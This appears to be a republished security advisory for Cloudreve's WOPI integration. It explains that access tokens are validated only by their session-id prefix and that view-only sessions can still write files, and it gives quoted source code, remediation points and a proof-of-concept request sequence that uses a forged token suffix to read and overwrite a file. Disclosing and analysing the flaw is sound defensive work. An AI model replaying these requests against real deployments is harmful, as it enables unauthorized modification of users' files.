Go · github.com/cloudreve/Cloudreve/v4
Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored
Cloudreve WOPI access tokens are generated as <session-id>.<random-secret>, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user.
A WOPI integration that is only expected to view a user's file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leaks, the random token suffix does not protect the session because any suffix is accepted for an existing session id.
This affects deployments that configure WOPI viewers for user files. The attacker primitive is strongest when a malicious or compromised WOPI viewer receives a view-only URL and then writes content back to Cloudreve.
Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.
Cloudreve creates WOPI viewer sessions in pkg/filemanager/manager/viewer.go:
sessionID := uuid.Must(uuid.NewV4()).String()
token := util.RandStringRunesCrypto(128)
sessionCache := &ViewerSessionCache{
ID: sessionID,
Uri: file.Uri(false).String(),
UserID: m.user.ID,
ViewerID: viewer.ID,
FileID: file.ID(),
Version: version,
Token: fmt.Sprintf("%s.%s", sessionID, token),
}
The token includes a 128-character random suffix, but middleware.ViewerSessionValidation() only uses the prefix before the dot:
accessToken := strings.Split(c.Query(wopi.AccessTokenQuery), ".")
if len(accessToken) != 2 {
...
}
sessionRaw, exist := store.Get(manager.ViewerSessionCachePrefix + accessToken[0])
The middleware checks that the file id matches the loaded session, but it never compares c.Query("access_token") with session.Token. As a result, <valid-session-id>.anything is accepted.
The WOPI routes are exposed without normal session authentication and rely on this middleware:
wopi := noAuth.Group("file/wopi", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation())
wopi.GET(":id", controllers.CheckFileInfo)
wopi.GET(":id/contents", controllers.GetFile)
wopi.POST(":id/contents", controllers.PutFile)
wopi.POST(":id", controllers.ModifyFile)
The write routes are not protected by a session-level write check. CreateViewerSessionService accepts preferred_action, but ViewerSessionCache has no action or write-permission field and CreateViewerSession does not persist the chosen action. The requested action is only used to generate the WOPI source URL:
wopiSrc, err := wopi.GenerateWopiSrc(c, s.PreferredAction, targetViewer, viewerSession)
WopiService.PutContent() checks only the underlying filesystem upload capability:
file, err := m.Get(c, uri, dbfs.WithRequiredCapabilities(dbfs.NavigatorCapabilityUploadFile), dbfs.WithNotRoot())
It does not check whether the WOPI session was created for an edit action.
The following sequence was verified against a disposable local Cloudreve instance built from the affected commit.
cloudreve://my/wopi.txt, containing original content.preferred_action set to view:PUT /api/v4/file/viewerSession HTTP/1.1
Authorization: Bearer <user-token>
Content-Type: application/json
{
"uri": "cloudreve://my/wopi.txt",
"version": "",
"viewer_id": "poc-wopi",
"preferred_action": "view"
}
Observed response:
{
"session": {
"id": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1",
"access_token": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.<128-char-random-secret>"
}
}
GET /api/v4/file/wopi/4xc5?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
Observed response: 200 OK. The same request with an unknown session id returned 403 Forbidden, confirming the middleware validates the session id prefix but ignores the secret suffix.
GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
Observed response:
HTTP/1.1 200 OK
Content-Length: 16
Etag: "1bIo"
original content
POST /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
X-WOPI-Lock: cloudreve-poc
Content-Type: application/octet-stream
runtime modified via view session forged suffix
Observed response:
HTTP/1.1 200 OK
X-Wopi-Itemversion: nBc0
GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
Observed response:
HTTP/1.1 200 OK
Content-Length: 47
Etag: "nBc0"
runtime modified via view session forged suffix
This proves both authorization failures: the random token suffix is ignored, and a view-created WOPI session can reach the content write sink.
Two authorization values are generated or accepted but not enforced:
access_token to the stored ViewerSessionCache.Token using constant-time comparison.CanWrite flag or selected WOPI action in ViewerSessionCache.POST /contents, PUT_RELATIVE, LOCK, and other write operations.FileInfo fields such as ReadOnly and UserCanWrite.Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.